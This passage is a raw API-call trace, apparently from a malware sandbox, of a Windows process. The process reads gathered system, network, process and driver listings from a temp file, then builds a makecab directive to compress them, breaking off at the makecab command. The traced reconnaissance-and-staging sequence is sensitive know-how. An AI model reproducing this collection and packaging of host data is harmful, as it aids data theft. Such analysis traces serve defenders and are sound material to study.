(HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f110 [0151.617] mbstowcs (in: _Dest=0x9a7f110, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", _MaxCount=0x2e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 0x2d [0151.617] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2e [0151.617] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f180 [0151.617] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", lpDst=0x9a7f180, nSize=0x2e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 0x2e [0151.617] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0151.617] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0151.617] GetFileSize (in: hFile=0x3d0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x276a4 [0151.617] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x276a5) returned 0x9a9c440 [0151.617] ReadFile (in: hFile=0x3d0, lpBuffer=0x9a9c440, nNumberOfBytesToRead=0x276a4, lpNumberOfBytesRead=0x765f858, lpOverlapped=0x0 | out: lpBuffer=0x9a9c440*, lpNumberOfBytesRead=0x765f858*=0x276a4, lpOverlapped=0x0) returned 1 [0151.619] CloseHandle (hObject=0x3d0) returned 1 [0151.619] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0151.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nHost Name: YKYD69Q\r\nOS Name: Microsoft Windows 7 Professional \r\nOS Version: 6.1.7601 Service Pack 1 Build 7601\r\nOS Manufacturer: Microsoft Corporation\r\nOS Configuration: Standalone Workstation\r\nOS Build Type: Multiprocessor Free\r\nRegistered Owner: jQx05XH2W qXsey3BPY\r\nRegistered Organization: KhoZov3s y5yie06H\r\nProduct ID: 00371-223-0192772-86275\r\nOriginal Install Date: 6/30/2017, 9:06:18 AM\r\nSystem Boot Time: 6/9/2019, 3:03:46 PM\r\nSystem Manufacturer: INTEL\r\nSystem Model: BROMOLOW\r\nSystem Type: x64-based PC\r\nProcessor(s): 1 Processor(s) Installed.\r\n [01]: Intel64 Family 6 Model 94 Stepping 3 GenuineIntel ~3600 Mhz\r\nBIOS Version: \"Phoenix Technologies LTD\" \"6.00 PG\", 4/1/2014\r\nWindows Directory: C:\\Windows\r\nSystem Directory: C:\\Windows\\system32\r\nBoot Device: \\Device\\HarddiskVolume1\r\nSystem Locale: en-us;English (United States)\r\nInput Locale: en-us;English (United States)\r\nTime Zone: (UTC) Monrovia, Reykjavik\r\nTotal Physical Memory: 4,096 MB\r\nAvailable Physical Memory: 8 MB\r\nVirtual Memory: Max Size: 4,095 MB\r\nVirtual Memory: Available: 644 MB\r\nVirtual Memory: In Use: 3,451 MB\r\nPage File Location(s): C:\\pagefile.sys\r\nDomain: WORKGROUP\r\nLogon Server: \\\\YKYD69Q\r\nHotfix(s): 4 Hotfix(s) Installed.\r\n [01]: KB2534111\r\n [02]: KB2999226\r\n [03]: KB958488\r\n [04]: KB976902\r\nNetwork Card(s): 1 NIC(s) Installed.\r\n [01]: Intel(R) PRO/1000 MT Network Connection\r\n Connection Name: Local Area Connection\r\n DHCP Enabled: Yes\r\n DHCP Server: 192.168.0.1\r\n IP address(es)\r\n [01]: 192.168.0.13\r\n [02]: fe80::8c96:c158:3bb2:750e\r\n-------- \r\n-------- \r\nServer: UnKnown\r\nAddress: 192.168.0.1\r\n\r\nName: localhost\r\nAddress: 127.0.0.1\r\n\r\n-------- \r\n\r\nImage Name PID Services \r\n========================= ======== ============================================\r\nSystem Idle Process 0 N/A \r\nSystem 4 N/A \r\nsmss.exe 260 N/A \r\ncsrss.exe 332 N/A \r\nwininit.exe 380 N/A \r\ncsrss.exe 392 N/A \r\nwinlogon.exe 432 N/A \r\nservices.exe 460 N/A \r\nlsass.exe 468 SamSs, VaultSvc \r\nlsm.exe 476 N/A \r\nsvchost.exe 596 DcomLaunch, PlugPlay, Power \r\nsvchost.exe 664 RpcEptMapper, RpcSs \r\nsvchost.exe 716 AudioSrv, Dhcp, eventlog, lmhosts, wscsvc \r\nsvchost.exe 828 AudioEndpointBuilder, CscService, Netman, \r\n PcaSvc, SysMain, TrkWks, UxSms, \r\n WdiSystemHost \r\nsvchost.exe 880 Appinfo, BITS, gpsvc, iphlpsvc, \r\n LanmanServer, MMCSS, ProfSvc, Schedule, \r\n SENS, ShellHWDetection, Themes, Winmgmt, \r\n wuauserv \r\naudiodg.exe 940 N/A \r\nsvchost.exe 240 EventSystem, netprofm, nsi, WdiServiceHost, \r\n WinHttpAutoProxySvc \r\nsvchost.exe 928 CryptSvc, Dnscache, LanmanWorkstation, \r\n NlaSvc \r\ndwm.exe 1096 N/A \r\nexplorer.exe 1112 N/A \r\nspoolsv.exe 1188 Spooler \r\ntaskhost.exe 1224 N/A \r\nsvchost.exe 1248 BFE, DPS, MpsSvc \r\nONENOTEM.EXE 1356 N/A \r\ntaskeng.exe 1424 N/A \r\nOfficeClickToRun.exe 1580 Cli", cchWideChar=80722, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 80722 [0151.619] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x13b52) returned 0x9ac3af0 [0151.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nHost Name: YKYD69Q\r\nOS Name: Microsoft Windows 7 Professional \r\nOS Version: 6.1.7601 Service Pack 1 Build 7601\r\nOS Manufacturer: Microsoft Corporation\r\nOS Configuration: Standalone Workstation\r\nOS Build Type: Multiprocessor Free\r\nRegistered Owner: jQx05XH2W qXsey3BPY\r\nRegistered Organization: KhoZov3s y5yie06H\r\nProduct ID: 00371-223-0192772-86275\r\nOriginal Install Date: 6/30/2017, 9:06:18 AM\r\nSystem Boot Time: 6/9/2019, 3:03:46 PM\r\nSystem Manufacturer: INTEL\r\nSystem Model: BROMOLOW\r\nSystem Type: x64-based PC\r\nProcessor(s): 1 Processor(s) Installed.\r\n [01]: Intel64 Family 6 Model 94 Stepping 3 GenuineIntel ~3600 Mhz\r\nBIOS Version: \"Phoenix Technologies LTD\" \"6.00 PG\", 4/1/2014\r\nWindows Directory: C:\\Windows\r\nSystem Directory: C:\\Windows\\system32\r\nBoot Device: \\Device\\HarddiskVolume1\r\nSystem Locale: en-us;English (United States)\r\nInput Locale: en-us;English (United States)\r\nTime Zone: (UTC) Monrovia, Reykjavik\r\nTotal Physical Memory: 4,096 MB\r\nAvailable Physical Memory: 8 MB\r\nVirtual Memory: Max Size: 4,095 MB\r\nVirtual Memory: Available: 644 MB\r\nVirtual Memory: In Use: 3,451 MB\r\nPage File Location(s): C:\\pagefile.sys\r\nDomain: WORKGROUP\r\nLogon Server: \\\\YKYD69Q\r\nHotfix(s): 4 Hotfix(s) Installed.\r\n [01]: KB2534111\r\n [02]: KB2999226\r\n [03]: KB958488\r\n [04]: KB976902\r\nNetwork Card(s): 1 NIC(s) Installed.\r\n [01]: Intel(R) PRO/1000 MT Network Connection\r\n Connection Name: Local Area Connection\r\n DHCP Enabled: Yes\r\n DHCP Server: 192.168.0.1\r\n IP address(es)\r\n [01]: 192.168.0.13\r\n [02]: fe80::8c96:c158:3bb2:750e\r\n-------- \r\n-------- \r\nServer: UnKnown\r\nAddress: 192.168.0.1\r\n\r\nName: localhost\r\nAddress: 127.0.0.1\r\n\r\n-------- \r\n\r\nImage Name PID Services \r\n========================= ======== ============================================\r\nSystem Idle Process 0 N/A \r\nSystem 4 N/A \r\nsmss.exe 260 N/A \r\ncsrss.exe 332 N/A \r\nwininit.exe 380 N/A \r\ncsrss.exe 392 N/A \r\nwinlogon.exe 432 N/A \r\nservices.exe 460 N/A \r\nlsass.exe 468 SamSs, VaultSvc \r\nlsm.exe 476 N/A \r\nsvchost.exe 596 DcomLaunch, PlugPlay, Power \r\nsvchost.exe 664 RpcEptMapper, RpcSs \r\nsvchost.exe 716 AudioSrv, Dhcp, eventlog, lmhosts, wscsvc \r\nsvchost.exe 828 AudioEndpointBuilder, CscService, Netman, \r\n PcaSvc, SysMain, TrkWks, UxSms, \r\n WdiSystemHost \r\nsvchost.exe 880 Appinfo, BITS, gpsvc, iphlpsvc, \r\n LanmanServer, MMCSS, ProfSvc, Schedule, \r\n SENS, ShellHWDetection, Themes, Winmgmt, \r\n wuauserv \r\naudiodg.exe 940 N/A \r\nsvchost.exe 240 EventSystem, netprofm, nsi, WdiServiceHost, \r\n WinHttpAutoProxySvc \r\nsvchost.exe 928 CryptSvc, Dnscache, LanmanWorkstation, \r\n NlaSvc \r\ndwm.exe 1096 N/A \r\nexplorer.exe 1112 N/A \r\nspoolsv.exe 1188 Spooler \r\ntaskhost.exe 1224 N/A \r\nsvchost.exe 1248 BFE, DPS, MpsSvc \r\nONENOTEM.EXE 1356 N/A \r\ntaskeng.exe 1424 N/A \r\nOfficeClickToRun.exe 1580 Cli", cchWideChar=80722, lpMultiByteStr=0x9ac3af0, cbMultiByte=80722, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nHost Name: YKYD69Q\r\nOS Name: Microsoft Windows 7 Professional \r\nOS Version: 6.1.7601 Service Pack 1 Build 7601\r\nOS Manufacturer: Microsoft Corporation\r\nOS Configuration: Standalone Workstation\r\nOS Build Type: Multiprocessor Free\r\nRegistered Owner: jQx05XH2W qXsey3BPY\r\nRegistered Organization: KhoZov3s y5yie06H\r\nProduct ID: 00371-223-0192772-86275\r\nOriginal Install Date: 6/30/2017, 9:06:18 AM\r\nSystem Boot Time: 6/9/2019, 3:03:46 PM\r\nSystem Manufacturer: INTEL\r\nSystem Model: BROMOLOW\r\nSystem Type: x64-based PC\r\nProcessor(s): 1 Processor(s) Installed.\r\n [01]: Intel64 Family 6 Model 94 Stepping 3 GenuineIntel ~3600 Mhz\r\nBIOS Version: \"Phoenix Technologies LTD\" \"6.00 PG\", 4/1/2014\r\nWindows Directory: C:\\Windows\r\nSystem Directory: C:\\Windows\\system32\r\nBoot Device: \\Device\\HarddiskVolume1\r\nSystem Locale: en-us;English (United States)\r\nInput Locale: en-us;English (United States)\r\nTime Zone: (UTC) Monrovia, Reykjavik\r\nTotal Physical Memory: 4,096 MB\r\nAvailable Physical Memory: 8 MB\r\nVirtual Memory: Max Size: 4,095 MB\r\nVirtual Memory: Available: 644 MB\r\nVirtual Memory: In Use: 3,451 MB\r\nPage File Location(s): C:\\pagefile.sys\r\nDomain: WORKGROUP\r\nLogon Server: \\\\YKYD69Q\r\nHotfix(s): 4 Hotfix(s) Installed.\r\n [01]: KB2534111\r\n [02]: KB2999226\r\n [03]: KB958488\r\n [04]: KB976902\r\nNetwork Card(s): 1 NIC(s) Installed.\r\n [01]: Intel(R) PRO/1000 MT Network Connection\r\n Connection Name: Local Area Connection\r\n DHCP Enabled: Yes\r\n DHCP Server: 192.168.0.1\r\n IP address(es)\r\n [01]: 192.168.0.13\r\n [02]: fe80::8c96:c158:3bb2:750e\r\n-------- \r\n-------- \r\nServer: UnKnown\r\nAddress: 192.168.0.1\r\n\r\nName: localhost\r\nAddress: 127.0.0.1\r\n\r\n-------- \r\n\r\nImage Name PID Services \r\n========================= ======== ============================================\r\nSystem Idle Process 0 N/A \r\nSystem 4 N/A \r\nsmss.exe 260 N/A \r\ncsrss.exe 332 N/A \r\nwininit.exe 380 N/A \r\ncsrss.exe 392 N/A \r\nwinlogon.exe 432 N/A \r\nservices.exe 460 N/A \r\nlsass.exe 468 SamSs, VaultSvc \r\nlsm.exe 476 N/A \r\nsvchost.exe 596 DcomLaunch, PlugPlay, Power \r\nsvchost.exe 664 RpcEptMapper, RpcSs \r\nsvchost.exe 716 AudioSrv, Dhcp, eventlog, lmhosts, wscsvc \r\nsvchost.exe 828 AudioEndpointBuilder, CscService, Netman, \r\n PcaSvc, SysMain, TrkWks, UxSms, \r\n WdiSystemHost \r\nsvchost.exe 880 Appinfo, BITS, gpsvc, iphlpsvc, \r\n LanmanServer, MMCSS, ProfSvc, Schedule, \r\n SENS, ShellHWDetection, Themes, Winmgmt, \r\n wuauserv \r\naudiodg.exe 940 N/A \r\nsvchost.exe 240 EventSystem, netprofm, nsi, WdiServiceHost, \r\n WinHttpAutoProxySvc \r\nsvchost.exe 928 CryptSvc, Dnscache, LanmanWorkstation, \r\n NlaSvc \r\ndwm.exe 1096 N/A \r\nexplorer.exe 1112 N/A \r\nspoolsv.exe 1188 Spooler \r\ntaskhost.exe 1224 N/A \r\nsvchost.exe 1248 BFE, DPS, MpsSvc \r\nONENOTEM.EXE 1356 N/A \r\ntaskeng.exe 1424 N/A \r\nOfficeClickToRun.exe 1580 ClickToRunSvc \r\ntaskhost.exe 1396 N/A \r\nnr nutrition.exe 1264 N/A \r\nbeat.exe 312 N/A \r\nrefers.exe 2044 N/A \r\nadditions.exe 1560 N/A \r\nclusters attack.exe 1520 N/A \r\noriental.exe 964 N/A \r\nprotective quite sessions 1420 N/A \r\nmumbai.exe 1384 N/A \r\nps-workstation.exe 1508 N/A \r\ntoday.exe 856 N/A \r\ndishesproductioncottage.e 1156 N/A \r\nunfortunatelyafterwardsem 2032 N/A \r\nweblogs-waters.exe 340 N/A \r\nplaintiff.exe 568 N/A \r\ngreensborooregon.exe 1416 N/A \r\nchartspresently.exe 200 N/A \r\nir grey.exe 1656 N/A \r\nknow.exe 1448 N/A \r\nrequirement_float_disabil 2052 N/A \r\nlicenses_miss.exe 2068 N/A \r\nWmiPrvSE.exe 2232 N/A \r\niexplore.exe 2900 N/A \r\nsvchost.exe 680 FontCache, SSDPSRV \r\niexplore.exe 304 N/A \r\nsppsvc.exe 2136 sppsvc \r\nsvchost.exe 1816 WinDefend \r\nWmiPrvSE.exe 2372 N/A \r\nWmiPrvSE.exe 2796 N/A \r\nTrustedInstaller.exe 2924 TrustedInstaller \r\ntaskeng.exe 1488 N/A \r\ntaskeng.exe 816 N/A \r\nOfficeC2RClient.exe 1032 N/A \r\nOfficeC2RClient.exe 1892 N/A \r\nmsoia.exe 2804 N/A \r\nmsoia.exe 2936 N/A \r\ncmd.exe 2172 N/A \r\nconhost.exe 2180 N/A \r\ntasklist.exe 1708 N/A \r\n-------- \r\n\r\nModule Name Display Name Driver Type Link Date \r\n============ ====================== ============= ======================\r\n1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 10:44:56 AM\r\nACPI Microsoft ACPI Driver Kernel 11/20/2010 9:19:16 AM \r\nAcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 9:30:42 AM \r\nadp94xx adp94xx Kernel 12/5/2008 11:54:42 PM \r\nadpahci adpahci Kernel 5/1/2007 5:30:09 PM \r\nadpu320 adpu320 Kernel 2/28/2007 12:04:15 AM \r\nAFD Ancillary Function Dri Kernel 11/20/2010 9:23:27 AM \r\nagp440 Intel AGP Bus Filter Kernel 7/13/2009 11:38:43 PM \r\naliide aliide Kernel 7/13/2009 11:19:47 PM \r\namdide amdide Kernel 7/13/2009 11:19:49 PM \r\nAmdK8 AMD K8 Processor Drive Kernel 7/13/2009 11:19:25 PM \r\nAmdPPM AMD Processor Driver Kernel 7/13/2009 11:19:25 PM \r\namdsata amdsata Kernel 3/19/2010 12:45:17 AM \r\namdsbs amdsbs Kernel 3/20/2009 6:36:03 PM \r\namdxata amdxata Kernel 3/19/2010 4:18:18 PM \r\nAppID AppID Driver Kernel 11/20/2010 10:14:37 AM\r\narc arc Kernel 5/24/2007 9:27:55 PM \r\narcsas arcsas Kernel 1/14/2009 7:27:37 PM \r\nAsyncMac RAS Asynchronous Media Kernel 7/14/2009 12:10:13 AM \r\natapi IDE Channel Kernel 7/13/2009 11:19:47 PM \r\nb06bdrv Broadcom NetXtreme II Kernel 2/13/2009 10:18:07 PM \r\nb57nd60a Broadcom NetXtreme Gig Kernel 4/26/2009 11:14:55 AM \r\nBeep Beep Kernel 7/14/2009 12:00:13 AM \r\nblbdrive blbdrive Kernel 7/13/", lpUsedDefaultChar=0x0) returned 80722 [0151.620] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0151.620] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f180 [0151.620] mbstowcs (in: _Dest=0x9a7f180, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", _MaxCount=0x2e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 0x2d [0151.620] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2e [0151.620] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f110 [0151.620] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", lpDst=0x9a7f110, nSize=0x2e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 0x2e [0151.621] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0151.621] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0151.621] WriteFile (in: hFile=0x3d0, lpBuffer=0x9ac3af0*, nNumberOfBytesToWrite=0x13b52, lpNumberOfBytesWritten=0x765f858, lpOverlapped=0x0 | out: lpBuffer=0x9ac3af0*, lpNumberOfBytesWritten=0x765f858*=0x13b52, lpOverlapped=0x0) returned 1 [0151.621] SetEndOfFile (hFile=0x3d0) returned 1 [0151.624] CloseHandle (hObject=0x3d0) returned 1 [0151.625] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0151.625] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9ac3af0 | out: hHeap=0x9770000) returned 1 [0151.625] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a9c440 | out: hHeap=0x9770000) returned 1 [0151.636] GetSystemTime (in: lpSystemTime=0x765f870 | out: lpSystemTime=0x765f870*(wYear=0x7e3, wMonth=0x6, wDayOfWeek=0x0, wDay=0x9, wHour=0xf, wMinute=0x7, wSecond=0x7, wMilliseconds=0x36f)) [0151.636] wsprintfA (in: param_1=0x765f860, param_2="%02u:%02u:%02u " | out: param_1="15:07:07 ") returned 9 [0151.636] IStream:Stat (in: This=0x72b44a0, pstatstg=0x765f880, grfStatFlag=0x1 | out: pstatstg=0x765f880) returned 0x0 [0151.636] IStream:RemoteSeek (in: This=0x72b44a0, dlibMove=0x0, dwOrigin=0x2, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0151.637] ISequentialStream:RemoteWrite (in: This=0x72b44a0, pv=0x765f860*=0x31, cb=0x9, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0151.637] ISequentialStream:RemoteWrite (in: This=0x72b44a0, pv=0x94ea918*=0x53, cb=0x8, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0151.637] ISequentialStream:RemoteWrite (in: This=0x72b44a0, pv=0x94ea94c*=0xd, cb=0x2, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0151.637] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0151.637] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f110 [0151.637] mbstowcs (in: _Dest=0x9a7f110, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", _MaxCount=0x2e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 0x2d [0151.637] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2e [0151.637] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f180 [0151.637] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", lpDst=0x9a7f180, nSize=0x2e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 0x2e [0151.637] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0151.637] PathGetShortPath (in: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" | out: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") [0151.637] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0151.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0151.637] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2e) returned 0x9b6dc50 [0151.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", cchWideChar=45, lpMultiByteStr=0x9b6dc50, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", lpUsedDefaultChar=0x0) returned 45 [0151.637] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0151.637] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin")) returned 0x2020 [0151.637] PathIsDirectoryEmptyA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 0 [0151.637] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x26 [0151.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x43) returned 0x9b6dd20 [0151.638] GetTempPathA (in: nBufferLength=0x26, lpBuffer=0x9b6dd20 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0151.638] GetTickCount () returned 0x31c84 [0151.638] GetTempFileNameA (in: lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpPrefixString=0x0, uUnique=0x115e3d6, lpTempFileName=0x9b6dd20 | out: lpTempFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\E3D6.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\e3d6.tmp")) returned 0xe3d6 [0151.638] PathFindExtensionA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\E3D6.tmp") returned=".tmp" [0151.638] lstrcpyA (in: lpString1=0x9b6dd49, lpString2=".bin" | out: lpString1=".bin") returned=".bin" [0151.638] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned 45 [0151.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x39) returned 0x9a6e990 [0151.638] lstrcpyA (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" [0151.638] StrRChrA (lpStart="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", lpEnd=0x0, wMatch=0x5c) returned="\\1D0E.bin" [0151.638] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin")) returned 0x2020 [0151.638] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x26 [0151.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x43) returned 0x9a6e9e0 [0151.638] GetTempPathA (in: nBufferLength=0x26, lpBuffer=0x9a6e9e0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0151.638] GetTickCount () returned 0x31c84 [0151.638] GetTempFileNameA (in: lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpPrefixString=0x0, uUnique=0x115db32, lpTempFileName=0x9a6e9e0 | out: lpTempFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\db32.tmp")) returned 0xdb32 [0151.638] PathFindExtensionA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.tmp") returned=".tmp" [0151.638] lstrcpyA (in: lpString1=0x9a6ea09, lpString2=".bin" | out: lpString1=".bin") returned=".bin" [0151.638] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin") returned 45 [0151.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x41) returned 0x9a6ea30 [0151.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1000) returned 0x9a91840 [0151.638] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\db32.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0151.639] StrRChrA (lpStart="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\E3D6.bin", lpEnd=0x0, wMatch=0x5c) returned="\\E3D6.bin" [0151.639] wsprintfA (in: param_1=0x9a91840, param_2=".set MaxDiskSize=0\r\n.set DiskDirectory1=\"%s\"\r\n" | out: param_1=".set MaxDiskSize=0\r\n.set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"\r\n") returned 80 [0151.639] WriteFile (in: hFile=0x3d0, lpBuffer=0x9a91840*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x765f848, lpOverlapped=0x0 | out: lpBuffer=0x9a91840*, lpNumberOfBytesWritten=0x765f848*=0x50, lpOverlapped=0x0) returned 1 [0151.640] wsprintfA (in: param_1=0x9a91840, param_2=".set CabinetName1=\"%s\"\r\n" | out: param_1=".set CabinetName1=\"E3D6.bin\"\r\n") returned 30 [0151.640] WriteFile (in: hFile=0x3d0, lpBuffer=0x9a91840*, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x765f848, lpOverlapped=0x0 | out: lpBuffer=0x9a91840*, lpNumberOfBytesWritten=0x765f848*=0x1e, lpOverlapped=0x0) returned 1 [0151.640] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin")) returned 0x2020 [0151.640] wsprintfA (in: param_1=0x9a91840, param_2="\"%s\"\r\n" | out: param_1="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin\"\r\n") returned 49 [0151.640] WriteFile (in: hFile=0x3d0, lpBuffer=0x9a91840*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x765f848, lpOverlapped=0x0 | out: lpBuffer=0x9a91840*, lpNumberOfBytesWritten=0x765f848*=0x31, lpOverlapped=0x0) returned 1 [0151.640] CloseHandle (hObject=0x3d0) returned 1 [0151.641] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0151.641] wsprintfA (in: param_1=0x9a6ea30, param_2="makecab.exe /F \"%s\"" 